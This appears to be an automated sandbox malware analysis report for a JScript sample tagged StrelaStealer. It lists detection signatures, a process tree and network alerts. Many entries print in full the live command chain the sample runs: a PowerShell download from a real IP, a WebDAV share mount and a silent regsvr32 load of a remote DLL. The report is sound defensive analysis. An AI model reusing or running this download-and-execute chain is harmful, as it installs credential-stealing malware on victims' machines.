Edit tour

Windows Analysis Report
21092429235262508.js

Overview

General Information

Sample name:	21092429235262508.js
Analysis ID:	1588316
MD5:	8b9d4e6e0122eed9eb8de2e4b420bdc7
SHA1:	8db4285a6b5a15b741b4515c5245c371342d8abe
SHA256:	0bd78aa72488198df9473543649cd4b41bfb5b087491a211e78da901700f8e13
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5028 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 892 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1812 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3788 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6768 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1492 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1600,i,6608015978689636997,2706773790845116413,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1992 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2684 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6660 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5028	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1812, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1812, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", ProcessId: 5028, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2684, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 892, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 892, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 892, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 892, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 892, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", ProcessId: 5028, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1812, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1992, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2684, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6660, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1992, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2684, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5028, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll, ProcessId: 892, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:55:22.632127+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:55:19.918517+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 21092429235262508.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 21092429235262508.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:55:19 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

